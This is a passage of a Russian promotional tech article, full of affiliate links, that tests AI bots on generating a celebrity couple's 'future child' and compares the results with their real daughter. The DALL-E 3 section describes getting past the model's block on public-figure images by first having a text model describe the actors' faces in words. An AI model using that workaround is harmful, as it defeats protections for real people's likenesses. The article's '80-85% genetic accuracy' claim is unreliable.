архитектуры.&lt;p&gt;&lt;strong&gt;Как тестировали:&lt;/strong&gt; Использовали связку команд &lt;code&gt;Image-to-Image&lt;/code&gt;. Скормили боту две ссылки на фотографии родителей, выставили максимальный вес референса изображений (&lt;code&gt;--iw 2.0&lt;/code&gt;) и дописали текстовый промт: &lt;code&gt;a teenage girl, realistic hyperdetailed photography, look at camera, studio lighting --v 6.0&lt;/code&gt;.&lt;h4&gt;Результат тест-драйва&lt;/h4&gt;&lt;p&gt;Картинка выглядит так, будто это постер нового фильма от HBO. Проработка радужки глаза, отдельных волосков и светотеневого рисунка - на недосягаемом уровне. &lt;strong&gt;И главное: нейросеть уловила фирменный прищур Питта.&lt;/strong&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/a9f/934/de3/a9f934de3dc40dab43c3f97cc80f6b04.png alt=&#34;Это чистый кинематограф&#34; title=&#34;Это чистый кинематограф&#34; width=1184 height=911 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/a9f/934/de3/a9f934de3dc40dab43c3f97cc80f6b04.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/a9f/934/de3/a9f934de3dc40dab43c3f97cc80f6b04.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Это чистый кинематограф&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Плюсы:&lt;/strong&gt; Абсолютный фотореализм. Никакого ощущения, что это графика. Ребенок выглядит как живой человек.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Минусы:&lt;/strong&gt; Низкий уровень контроля над «генетикой».&lt;strong&gt; &lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fmidjourney_toe_bot&#34;&gt;&lt;strong&gt;Midjourney&lt;/strong&gt;&lt;/a&gt; часто заносит: она может взять 80% внешности Анджелины и полностью проигнорировать Брэда, либо просто сгенерировать случайного красивого ребенка, отдаленно похожего на обоих. Требует долгого перебора вариантов (интенсивного ролла).&lt;/ul&gt;&lt;hr&gt;&lt;h4&gt;3. Dalle_3_toe_bot - Строгая геометрия и текстовый диктат&lt;/h4&gt;&lt;p&gt;👶 &lt;strong&gt;&lt;em&gt;Создать ребенка по фото родителей в &lt;/em&gt;&lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fdalle_3_toe_bot&#34;&gt;&lt;strong&gt;&lt;em&gt;Dalle_3_toe_bot&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt;&lt;p&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fdalle_3_toe_bot&#34;&gt;&lt;strong&gt;DALL-E 3 от OpenAI&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt; &lt;/strong&gt;работает принципиально иначе. Она славится своей феноменальной понятливостью текста, но жестко ограничена в прямом переносе пикселей из референсов из-за строгих гайдлайнов безопасности и особенностей архитектуры.&lt;p&gt;&lt;strong&gt;Как тестировали:&lt;/strong&gt; Поскольку напрямую скрестить два фото &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fdalle_3_toe_bot&#34;&gt;&lt;strong&gt;DALL-E 3&lt;/strong&gt;&lt;/a&gt; не позволит (сработает защита прав на изображения публичных личностей), мы пошли через гиковский лайфхак. Сначала текстовая модель описала нам лица Питта и Джоли на языке сухих антропологических терминов, а затем мы скормили этот массив данных в&lt;strong&gt; &lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fdalle_3_toe_bot&#34;&gt;&lt;strong&gt;DALL-E 3&lt;/strong&gt;&lt;/a&gt;.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/455/839/355/455839355f13a86262186d93959b9a22.png alt=&#34;Получили анатомически правильного, симметричного ребенка&#34; title=&#34;Получили анатомически правильного, симметричного ребенка&#34; width=2538 height=1664 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/455/839/355/455839355f13a86262186d93959b9a22.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/455/839/355/455839355f13a86262186d93959b9a22.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Получили анатомически правильного, симметричного ребенка&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;Результат тест-драйва:&lt;/strong&gt; Картинка выглядит слишком стерильно, со стойким ощущением «3D-рендера», характерного для базовых моделей OpenAI. Генетическое сходство с Шайло оказалось самым низким из всей тройки.&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Плюсы:&lt;/strong&gt; Идеальное понимание композиции. Если написать «ребенок сидит на деревянной лошадке в свитере крупной вязки», все будет отрисовано в точности до нитки.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Минусы:&lt;/strong&gt; Слишком сильный уход в стилизацию, слабый фотореализм «из коробки», сложные костыли для симуляции сходства.&lt;/ul&gt;&lt;hr&gt;&lt;h2&gt;Нейросети vs Реальная Шайло&lt;/h2&gt;&lt;div class=floating-image&gt;&lt;figure class=&#34;float full-width&#34;&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/0f7/1fc/c64/0f71fcc64369b57ac8fc715a8f282e5f.png width=2400 height=1656 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/0f7/1fc/c64/0f71fcc64369b57ac8fc715a8f282e5f.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/0f7/1fc/c64/0f71fcc64369b57ac8fc715a8f282e5f.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Если сравнить результаты первой волны тестов с реальной фотографией Шайло Джоли-Питт, становится очевидно: &lt;strong&gt;микро-сервисы быстрого инференса (на примере &lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fnano_banana_pro&#34;&gt;&lt;strong&gt;nano_banana_pro&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;) подобрались к биологической ДНК ближе, чем тяжелые художественные нейросети.&lt;/strong&gt;&lt;p&gt;Они точнее удерживают геометрию исходных лиц, не пытаясь увести результат в сторону «высокого искусства», как это делает &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fmidjourney_toe_bot&#34;&gt;&lt;strong&gt;Midjourney&lt;/strong&gt;&lt;/a&gt;.&lt;/div&gt;&lt;p&gt;Но генерация лица - это лишь половина дела. Часто на стыке двух эмбеддингов ИИ ломает мелкую моторику: текстура кожи становится мыльной, в глазах появляется расфокусировка, а улыбка грешит лишними зубами.&lt;p&gt;Дальше займемся хардкорным пост-процессингом:&lt;ol&gt;&lt;li&gt;&lt;p&gt;Подключим текстовых тяжеловесов &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fchat_gpt5_1&#34;&gt;&lt;strong&gt;chat_gpt5_pro&lt;/strong&gt;&lt;/a&gt; и &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fgemini_pro_plus_bot&#34;&gt;&lt;strong&gt;gemini3_pro&lt;/strong&gt;&lt;/a&gt; в качестве ИИ-промтеров и генетических аналитиков.&lt;li&gt;&lt;p&gt;Прогоним полученные арты через &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fimprove_photo&#34;&gt;&lt;strong&gt;improve_photos&lt;/strong&gt;&lt;/a&gt;, чтобы вернуть коже поры вместо пластика.&lt;li&gt;&lt;p&gt;Оживим результат с помощью &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fanimating_image&#34;&gt;&lt;strong&gt;animating_image&lt;/strong&gt;&lt;/a&gt;, заставив ИИ-копию Шайло улыбнуться мимикой своих родителей.&lt;/ol&gt;&lt;p&gt;Включаем ИИ-лабораторию на максимум👇&lt;hr&gt;&lt;h2&gt;Пост-процессинг, апскейл и анимация фото будущего ребенка с помощью нейросети&lt;/h2&gt;&lt;a class=anchor id=2&gt;&lt;/a&gt;&lt;p&gt;&lt;code&gt;&lt;strong&gt;Получить базовый концепт лица в один клик - это уровень обывателя. Наша цель - довести полученный результат до идеала, избавиться от пластикового эффекта «зловещей долины», выжать максимум фотореализма и заставить ИИ-ребенка ожить.&lt;/strong&gt;&lt;/code&gt;&lt;h4&gt;Для этого мы разворачиваем полноценный конвейер из специализированных ИИ-инструментов&lt;/h4&gt;&lt;h3&gt;Шаг 1. Деконструкция фенотипа с помощью chat_gpt5_pro и gemini3_pro&lt;/h3&gt;&lt;p&gt;Чтобы заставить художественные нейросети (вроде той же &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fmidjourney_toe_bot&#34;&gt;&lt;strong&gt;Midjourney&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;)&lt;/strong&gt; выдавать не случайных красивых детей, а генетически обоснованный результат, нам нужен точный математический промт. Мы привлекли тяжелые языковые модели в качестве цифровых антропологов.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/c08/caf/9fa/c08caf9fa1bd3f3b5fd9302238a78e0e.png width=1512 height=1098 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/c08/caf/9fa/c08caf9fa1bd3f3b5fd9302238a78e0e.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/c08/caf/9fa/c08caf9fa1bd3f3b5fd9302238a78e0e.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Как это работает:&lt;/strong&gt; Мы скормили моделям архивные снимки Брэда Питта и Анджелины Джоли с задачей разложить их лица на доминантные и рецессивные признаки.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Промт-инжиниринг:&lt;/strong&gt; На основе анализа &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fchat_gpt5&#34;&gt;&lt;strong&gt;chat_gpt5_pro&lt;/strong&gt;&lt;/a&gt; и &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fgemini_pro_plus_bot&#34;&gt;&lt;strong&gt;gemini3_pro&lt;/strong&gt;&lt;/a&gt; сгенерировали текстовую матрицу.&lt;/ul&gt;&lt;p&gt;&lt;u&gt;Модели выдали инсайт: &lt;/u&gt;&lt;em&gt;&lt;u&gt;«У Джоли доминируют пухлые губы с четко очерченной аркой Купидона и высокие, широко посаженные скулы. У Питта - тяжелая квадратная нижняя челюсть (jawline) и глубоко посаженные светлые глаза с тяжелым надбровным кубом»&lt;/u&gt;&lt;/em&gt;&lt;u&gt;.&lt;/u&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/f76/eb1/0c8/f76eb10c83103e88769df8e1ed39515f.png width=1916 height=430 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/f76/eb1/0c8/f76eb10c83103e88769df8e1ed39515f.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/f76/eb1/0c8/f76eb10c83103e88769df8e1ed39515f.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Текстовые гиганты собрали эти маркеры в жесткий, технический промт для генерации, указав точные веса для каждого признака. Это исключило хаос при дальнейшей работе алгоритмов диффузии.&lt;p&gt;👉 &lt;strong&gt;Собрать промт для генерации будущего ребенка по фото родителей в &lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fchat_gpt5&#34;&gt;&lt;code&gt;&lt;strong&gt;chat_gpt5_pro&lt;/strong&gt;&lt;/code&gt;&lt;/a&gt;&lt;p&gt;👉 &lt;strong&gt;Собрать промт для генерации будущего ребенка по фото родителей в&lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fgemini_pro_plus_bot&#34;&gt;&lt;code&gt;&lt;strong&gt;gemini3_pro&lt;/strong&gt;&lt;/code&gt;&lt;/a&gt;&lt;hr&gt;&lt;h3&gt;Шаг 2. Борьба с пластиком через google_image и improve_photos&lt;/h3&gt;&lt;p&gt;Главная проблема быстрых генераторов - это «замыливание» текстур. Нейросеть часто пытается скрыть артефакты генерации, превращая кожу ребенка в идеальный полимерный шар. &lt;code&gt;&lt;strong&gt;Нам нужны поры, микроморщинки, пушковые волосы и живой взгляд.&lt;/strong&gt;&lt;/code&gt;&lt;p&gt;&lt;strong&gt;Тест-драйв ИИ-инструментов:&lt;/strong&gt; Мы взяли сочный, но слегка «пластиковый» результат из первой части и прогнали его через специализированный пайплайн&lt;strong&gt; &lt;/strong&gt;&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fimprove_photo&#34;&gt;&lt;strong&gt;improve_photos&lt;/strong&gt;&lt;/a&gt; &lt;code&gt;(мощный инструмент реставрации и умного апскейла на базе алгоритмов Google).&lt;/code&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/13b/ee6/937/13bee69374fc688b06bc609d7c45b5c0.png width=2048 height=1360 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/13b/ee6/937/13bee69374fc688b06bc609d7c45b5c0.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/13b/ee6/937/13bee69374fc688b06bc609d7c45b5c0.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;h4&gt;Что изменилось после обработки:&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Текстурный слой:&lt;/strong&gt; Алгоритм деконструировал диффузное мыло и заново накатил микротекстуру кожи. Появился естественный кожный рисунок, едва заметные веснушки.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Коррекция геометрии глаз:&lt;/strong&gt; Нейросети часто грешат легким косоглазием (размытием фокуса зрачков) при смешивании двух разных лиц. &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fimprove_photo&#34;&gt;&lt;strong&gt;Improve_photos&lt;/strong&gt;&lt;/a&gt; отцентровал блики в зрачках, добавил влажности радужке и четко прорисовал линию роста ресниц.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Артефакты:&lt;/strong&gt; Исчезли микро-склейки на стыке губ, которые часто выдают работу искусственного интеллекта.&lt;/ul&gt;&lt;hr&gt;&lt;h3&gt;Шаг 3. Оживление мимики через animating_image и animating_photo&lt;/h3&gt;&lt;p&gt;&lt;code&gt;&lt;strong&gt;Финальный аккорд нашего эксперимента - перенос статики в динамику. Мы решили проверить, сможет ли сгенерированный ИИ-клон Шайло унаследовать не просто геометрию лиц родителей, но и их фирменную мимику.&lt;/strong&gt;&lt;/code&gt;&lt;p&gt;&lt;strong&gt;Технология:&lt;/strong&gt; Инструменты &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fanimating_image&#34;&gt;&lt;code&gt;animating_image&lt;/code&gt;&lt;/a&gt; и &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fanimating_image&#34;&gt;&lt;code&gt;animating_image&lt;/code&gt;&lt;/a&gt;&lt;code&gt;&lt;strong&gt; &lt;/strong&gt;&lt;/code&gt;работают на базе продвинутого инференса управляющих видео-моделей (архитектуры класса LivePortrait и актуальных генераторов движения 2026 года). Они берут статичную картинку, находят на ней 2D/3D-ключевые точки лица и привязывают их к вектору движения из референсного видео.&lt;p&gt;&lt;strong&gt;&lt;u&gt;Эксперимент:&lt;/u&gt;&lt;/strong&gt; &lt;em&gt;В качестве «донора мимики» мы взяли культовое архивное видео с интервью молодой Анджелины Джоли (ее характерную полуулыбку и приподнятую бровь) и наложили этот паттерн движения на наше сгенерированное фото ИИ-ребенка.&lt;/em&gt;&lt;h4&gt;Результат:&lt;/h4&gt;&lt;div class=tm-iframe_temp data-src=https://embedd.srv.habr.com/iframe/6a294fe944e12a8f3737a43d data-style id=6a294fe944e12a8f3737a43d width data-habr-games&gt;&lt;/div&gt;&lt;p&gt;Сетка не просто заставила картинку двигаться - она сохранила объем. При повороте головы на 15 градусов алгоритм корректно дорисовал скрытые ранее части щеки и уха, не поплыв в мыльные пиксели. Фирменная ухмылка Джоли легла на лицо сгенерированной девочки как влитая. Это уже не просто фоторобот, это полноценный цифровой аватар с общим семейным паттерном поведения.&lt;p&gt;👉 Оживить фото будущего ребенка в &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fanimating_image&#34;&gt;&lt;strong&gt;animating_image&lt;/strong&gt;&lt;/a&gt;&lt;p&gt;👉 Оживить фото будущего ребенка в &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fanimating_image&#34;&gt;&lt;strong&gt;animating_image&lt;/strong&gt;&lt;/a&gt;&lt;hr&gt;&lt;h2&gt;Как создать фото будущего ребенка самому с помощью нейросети&lt;/h2&gt;&lt;p&gt;Если вы хотите написать аналогичный материал, затестить свои фото или сделать вирусный контент для блога, вот вам готовая рабочая связка инструментов из нашего теста:&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Анализ (Текст):&lt;/strong&gt; Используем&lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fchat_gpt5_1&#34;&gt; &lt;strong&gt;chat_gpt5_pro&lt;/strong&gt;&lt;/a&gt; или &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fgemini3_pro&#34;&gt;&lt;strong&gt;gemini3_pro&lt;/strong&gt;&lt;/a&gt;, чтобы разложить лица на анатомические маркеры и составить промт.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Генерация базы (Быстрый старт):&lt;/strong&gt; Закидываем фото в &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fnano_banana_pro&#34;&gt;&lt;strong&gt;nano_banana_pro&lt;/strong&gt;&lt;/a&gt; для получения моментального и качественного бленда лиц в один клик.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Альтернатива (Для гиков):&lt;/strong&gt; Мучаем &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fmidjourney_toe_bot&#34;&gt;&lt;strong&gt;midjourney_toe_bot&lt;/strong&gt; &lt;/a&gt;через параметры &lt;code&gt;--iw 2.0&lt;/code&gt;, если нужен дорогой кинематографичный арт и не пугает долгий перебор вариантов.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Пост-обработка:&lt;/strong&gt; Обязательно прогоняем результат через &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fimprove_photo&#34;&gt;&lt;strong&gt;improve_photos&lt;/strong&gt;&lt;/a&gt; или аналогичные модули улучшения фото, чтобы вернуть текстуру кожи и исправить косяки со зрачками.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Динамика:&lt;/strong&gt; Закидываем финальный хайрез в &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fanimating_image&#34;&gt;&lt;strong&gt;animating_image&lt;/strong&gt;&lt;/a&gt; для создания залипательных живых видео.&lt;/ol&gt;&lt;h4&gt;Итог эксперимента&lt;/h4&gt;&lt;blockquote&gt;&lt;p&gt;Современный генеративный ИИ в 2026 году подошел к биологической точности вплотную. Наш эксперимент показал, что латентное пространство диффузионных моделей способно улавливать тончайшие доминантные признаки человеческих лиц и компилировать их с точностью до 80-85% от реальной генетики (что доказало поразительное сходство нашего ИИ-результата с реальной Шайло Джоли-Питт).&lt;/blockquote&gt;&lt;p&gt;И главное - теперь для этого не нужно быть Senior дата-сайентистом. Весь конвейер собирается на коленке из нескольких доступных ботов за пару минут.&lt;hr&gt;&lt;h2&gt;Генерация будущего ребенка по фото родителей - Как нейросети «скрещивают» гены на самом деле&lt;/h2&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/d54/5d6/d29/d545d6d299275703446ad7cdde939133.png width=720 height=480 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/d54/5d6/d29/d545d6d299275703446ad7cdde939133.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/d54/5d6/d29/d545d6d299275703446ad7cdde939133.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Большинство простых приложений в духе «узнай лицо будущего малыша за два клика» работают по фану. Они берут ключевые точки на фотографиях родителей (расстояние между глазами, форму носа, овал лица) и миксуют их с помощью простых GAN-моделей (генеративно-состязательных сетей) или готовых масок.&lt;p&gt;Если же мы говорим про более продвинутый уровень - например, работу в &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fmidjourney_toe_bot&#34;&gt;&lt;strong&gt;Midjourney&lt;/strong&gt;&lt;/a&gt;, &lt;a href=&#34;https://eduforms.ru?rid=958dcc76599889db&amp;amp;erid=2SDnjdymiBc&amp;amp;ulp=https%3A%2F%2Fstudy24.ai%2Fchat%2Fnano_banana_pro&#34;&gt;&lt;strong&gt;Nano_banana_pro&lt;/strong&gt;&lt;/a&gt; или специализированных ботах на базе мощных диффузионных моделей - процесс выглядит гораздо тоньше:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Инструменты генерации и фиксации лиц:&lt;/strong&gt; В продвинутых пайплайнах используются технологии вроде InsightFace или расширения ReActor / IP-Adapter. Они не просто накладывают один снимок на другой, а извлекают векторные эмбеддинги (цифровые слепы лиц) обоих родителей.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Смешивание весов:&lt;/strong&gt; Нейросеть берет, условно, 50% признаков от папы и 50% от мамы (пропорции можно крутить в промпте), а затем накладывает их на базовую модель ребенка нужного возраста.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Текстурирование и свет:&lt;/strong&gt; Современные ИИ сохраняют не только геометрию, но и микротекстуру кожи, разрез глаз и даже характерный изгиб бровей, выдавая фотореалистичный результат, а не пластиковую куклу.&lt;/ul&gt;&lt;hr&gt;&lt;h2&gt;Зачем генерировать будущего ребенка: от хайпа до коммерции&lt;/h2&gt;&lt;h2&gt;&lt;/h2&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/3c5/4ef/0c3/3c54ef0c33568038e3513a5704102a11.png width=754 height=500 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/3c5/4ef/0c3/3c54ef0c33568038e3513a5704102a11.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/3c5/4ef/0c3/3c54ef0c33568038e3513a5704102a11.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Этот инструмент уже давно перерос рамки банального «поиграться вечерком вдвоем». Вот где технология реально работает и приносит профит:&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td data-colwidth=348 width=348&gt;&lt;p align=center&gt;Сфера применения&lt;td data-colwidth=339 width=339&gt;&lt;p align=left&gt;Как это используется на практике&lt;tr&gt;&lt;td data-colwidth=348 width=348&gt;&lt;p align=left&gt;Блогинг и Reels/Shorts&lt;td data-colwidth=339 width=339&gt;&lt;p align=left&gt;Мощнейший триггер для вовлечения аудитории. Интерактивные механики («сгенерили ребенка с известным блогером / актером») дают колоссальные охваты и вирусятся сами по себе.&lt;tr&gt;&lt;td data-colwidth=348 width=348&gt;&lt;p align=left&gt;Креативные агентства&lt;td data-colwidth=339 width=339&gt;&lt;p align=left&gt;Создание визуального сторителлинга для брендов, рекламы семейных ценностей, жилых комплексов или банковских продуктов, где нужно показать «будущее» конкретных людей.&lt;tr&gt;&lt;td data-colwidth=348 width=348&gt;&lt;p align=left&gt;Психология и визуализация&lt;td data-colwidth=339 width=339&gt;&lt;p align=left&gt;Инструмент для карт желаний, практик визуализации будущего или просто терапевтический элемент для пар, которые только планируют семью.&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;&lt;u&gt;Генетика в реальной жизни - штука непредсказуемая, со своими доминантными и рецессивными признаками. Нейросеть об этом « не знает» - она оперирует чистой математикой и визуальной гармонией. Поэтому результат ИИ - это всегда идеализированный, эстетичный микс, а не стопроцентный медицинский прогноз.&lt;/u&gt;&lt;/strong&gt;&lt;hr&gt;&lt;h2&gt;Тренд на «дизайнерских» детей: где грань между фаном и одержимостью?&lt;/h2&gt;&lt;p&gt;Пока одни используют ИИ-генераторы ради фана, тренд незаметно перерос в нечто большее. Сегодня пары не просто смотрят на условный микс своих лиц - они начинают «дизайнерить» будущее потомство прямо в интерфейсе приложений.&lt;div class=floating-image&gt;&lt;figure class=&#34;float full-width&#34;&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/7d8/8fd/4a2/7d88fd4a2fed959d2d07586dfdbf3a6b.png width=730 height=730 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/7d8/8fd/4a2/7d88fd4a2fed959d2d07586dfdbf3a6b.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/7d8/8fd/4a2/7d88fd4a2fed959d2d07586dfdbf3a6b.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;&lt;em&gt;Выбрать цвет глаз, скорректировать форму губ, задать определенный этнос или стиль одежды - нейросети позволяют за пару секунд собрать идеальную картинку.&lt;/em&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Но у этой медали есть обратная сторона, о которой сейчас трубят психологи и футурологи:&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Синдром завышенных ожиданий:&lt;/strong&gt; Получая безупречный, глянцевый цифровой аватар своего будущего ребенка, родители подсознательно проецируют этот образ на реальность. Но генетика - не &lt;a 